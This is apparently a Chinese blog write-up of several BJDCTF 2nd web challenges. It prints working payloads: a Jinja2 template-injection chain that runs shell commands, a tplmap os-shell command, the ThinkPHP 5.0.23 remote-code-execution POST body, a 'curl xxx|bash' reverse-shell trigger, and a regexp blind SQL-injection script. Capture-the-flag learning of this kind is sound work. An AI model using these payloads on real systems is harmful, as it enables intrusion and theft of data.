【BJDCTF 2nd—Web】做題+復現記錄

fake google

隨便輸入然後查看源代碼發現
在這裏插入圖片描述
ssti,應該是服務器模板注入,查了一個payload直接就可以查到flag

{{().__class__.__bases__[0].__subclasses__()[177].__init__.__globals__.__builtins__['open']('/flag').read()}}

其實詳細的做法應該是先去判斷漏洞點,因爲這裏輸入就回顯,而且不是php,所以就要去猜想是不是ssti,這裏出題師傅也給出提示,就是ssti,接下來判斷是什麼模板引擎
在這裏插入圖片描述
{{ }}在jinja2中爲變量包裹標識符,試一下{{config}}發現有回顯,判斷是jinja2模板
在這裏插入圖片描述
接下來看一下根目錄

{% for c in [].__class__.__base__.__subclasses__() %}
{%if%20c.__name__=='catch_warnings'%27'%}
{{ c.__init__.__globals__['__builtins__'].eval("__import__('os').popen('ls /').read()")}}
{%endif%}
{% endfor %}

在這裏插入圖片描述
接下來讀一下flag即可
在這裏插入圖片描述
除此之外,還可以使用Tplmap工具來做這道題

python tplmap.py -u http://8f55fac1-eb01-4ab6-898c-e9b8600cb0d8.node3.buuoj.cn//qaq?name= --os-shell

在這裏插入圖片描述
工具介紹

old-hack

在這裏插入圖片描述
thinphp5,百度查了一下漏洞,隨便拉一個payload試試
在這裏插入圖片描述
報錯發現thinkphp版本是5.0.23,直接查詢對應的RCE代碼

http://58d51614-57b0-4e33-90d8-1a430ed45f4b.node3.buuoj.cn/index.php?s=captcha

POST:

_method=__construct&filter[]=system&method=get&get[]=whoami

在這裏插入圖片描述
繼續讀取即可

duangShell

在這裏插入圖片描述
提示了是.swp備份文件,所以是Vim文件泄露

http://0b845bf5-dd6e-420d-a3e0-0307d1ec01f3.node3.buuoj.cn/.index.php.swp

使用vim打開

vim -r index.php.swp

在這裏插入圖片描述
過濾很多,而且最後執行的函數是exec,這個函數是無回顯的,所以首先想到反彈shell,使用

curl xxx|bash

觸發反彈shell

看題目說明
在這裏插入圖片描述
在這裏插入圖片描述
在靶機中寫入反彈shell的語句
在這裏插入圖片描述
觸發反彈shell
在這裏插入圖片描述
連接成功
在這裏插入圖片描述
接下來找flag就行了,flag在etc目錄下

find /etc -name flag

簡單注入

先FUZZ一下,看看都過濾了哪些東西
在這裏插入圖片描述
發現單引號、雙引號、=都被ban了,而且select也被ban了,這就要想其他方法了注入了,發現regexp沒有被ban,可以嘗試一下。

那接下來就要想怎麼使用regexp注入了,假設語句是這樣的

select username,password from user where username='$user' and password='$pass'

那單引號都被ban了,怎麼去繞過,查看剛纔FUZZ的測試,發現\沒有被ban,所以可以使用反斜線去將單引號轉義,實現SQL語句逃逸,從而導致SQL注入。

select username,password from user where username='admin\' and password='or 1#'

既然知道了如果繞過了,就使用regexp布爾盲注,腳本如下:

import string
import requests

def ord2hex(string):
  result = ''
  for i in string:
    result += hex(ord(i))
  result = result.replace('0x','')
  return '0x'+result


url = "http://1cad8e11-f1b7-4d3a-a16f-7341b53815bc.node3.buuoj.cn"
headers = {
    'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36'
}
#數字+字母字典
dict = string.ascii_letters + string.digits
temp = ''
for j in range(50):
    for i in dict:
        passwords = ord2hex('^'+temp+i)
        payload = "or password regexp binary {}#".format(passwords)
        data = {
            'username': 'admin\\',
            'password': payload
        }
        reponse = requests.post(url=url,headers=headers,data=data)
        # print(reponse.text)
        if 'BJD needs' in reponse.text:
            temp = temp + i
            print(temp.ljust(40, '.'))
            break

這裏解釋一下,之所以payload中regexp後要加binary,是因爲題目提示了區分大小寫

MySQL中的正則表達式匹配不區分大小寫。
爲區分大小寫,可使用BINARY關鍵

還有就是之所以使用ord2hex()這個函數,是因爲我們要使用正則表達式^去匹配密碼,但單引號會被ban,所以轉換成16進制,而16進制在SQL執行時會自動變成字符。

感謝Y1ng師傅的解答

假豬套天下第一

在這裏插入圖片描述
一個登陸框,使用萬能密碼能夠登進去,但什麼也沒有發現,在用burp抓包的時候發現是302跳轉
在這裏插入圖片描述
進入看一下
在這裏插入圖片描述
之前做過一道題也是考這種設置時間的,看到Expires
在這裏插入圖片描述
一直以爲是在這裏做修改,還是不熟悉這個參數的意思

Expires 表示存在時間,允許客戶端在這個時間之前不去檢查(發請求)

觀察請求頭的COOKIE中包含了time的時間戳,提示是過99年,那就將當前時間戳加99年試試
在這裏插入圖片描述
在這裏插入圖片描述
這樣第一層就繞過去了,發現下面的提示是localhost,修改XFF
在這裏插入圖片描述
會發現過濾掉了這個XFF,那可以使用Client-IP或者X-Real-IP代替XFF即可
在這裏插入圖片描述
考察Referer,添加即可
在這裏插入圖片描述
添加之後,又出來一個Commodo 64這個,搜索一下
在這裏插入圖片描述
是一種老式電腦系統叫Commodore 64,所以這個應該是標識,修改UA即可
在這裏插入圖片描述
修改好之後,又出現一個emali,查資料發現
在這裏插入圖片描述
添加From
在這裏插入圖片描述
關鍵字代理,再查查資料
在這裏插入圖片描述
在這裏插入圖片描述
base64解碼即可

HTTP Header 詳解

Schrödinger

在這裏插入圖片描述
一開始一臉懵,不知道要幹啥,抓包發現test.php頁面
在這裏插入圖片描述用戶名爲admin,讓我們去得出密碼,這裏一開始以爲是布爾盲注或時間盲注的,FUZZ測試等都不行,就猜想可能是這個爆破密碼,但也不對,回頭看首頁
在這裏插入圖片描述
把剛纔需要輸入密碼的連接在首頁input,爆出密碼
在這裏插入圖片描述
出現這些,點一下check會失敗,抓包發現有一個cookie很特別
在這裏插入圖片描述
base64解碼是一串數字1585230828,應該是時間戳,在線轉換下

在這裏插入圖片描述
確實是,然後又就以爲是又要去查找這兩個參數在這裏插入圖片描述
結果沒弄出來,就看了師傅的WP,發現把這個COOKIE置空再檢查即可
在這裏插入圖片描述
B站查AV號,後面的也是時間戳,查對應的時間即可查出flag

發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章